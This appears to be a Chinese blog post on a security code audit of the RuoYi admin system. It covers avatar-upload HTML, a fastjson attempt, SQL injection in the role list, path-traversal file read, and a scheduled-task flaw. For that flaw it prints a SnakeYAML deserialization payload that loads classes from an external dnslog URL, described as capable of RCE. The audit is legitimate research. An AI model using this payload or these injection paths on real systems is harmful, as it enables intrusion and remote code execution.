若依系统代码审计

头像处上传html
头像上传的地方有个白名单
这些后缀的文件都可以上传成功
fastjson漏洞审计流程
检索JSONObject.parseObject 关键字发现在validateEdit函数里面运用了该函数
options这个json对象是通过 JSON.toJSONString(genTable.getParams()) 生成的 我们需要知道genTable.getParams() 我们是否可控
查看genTable.getParams() 方法
再查看validateEdit在哪里被执行了
发现在/edit这个接口实现函数上调用了这个函数 同时接口使用@Validated
,说明会自动匹配客户端发送的参数变量与GenTable的属性进行匹配,如果匹配成功,参数将自动转化为GenTable的属性
也就是说我们对参数是可控的
我们找到业务接口 并尝试发包
参数可控
被防住了 如果版本低一点应该是可以的
sql注入
发现参数拼接
在selectRoleList 里被调用
找到selectRoleList 函数被调用的位置 发现role参数可控
构造报错数据包
发现确实存在注入
还有好几个sql注入点 不一一列举了
任意文件读取漏洞
没过滤 ../../
定时任务漏洞
结合org.yaml.snakeyaml.Yaml.load 打个dnslog 证明漏洞存在 其实可以rce的
1 | org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["ftp://asizby.dnslog.cn"]]]]') |
- Title: 若依系统代码审计
- Author: UWI
- Created at : 2025-07-30 10:02:03
- Updated at : 2025-08-13 14:42:09
- Link: https://nbwsws.github.io/2025/07/30/代码审计/ruoyi系统代码审计/
- License: This work is licensed under CC BY-NC-SA 4.0.
Comments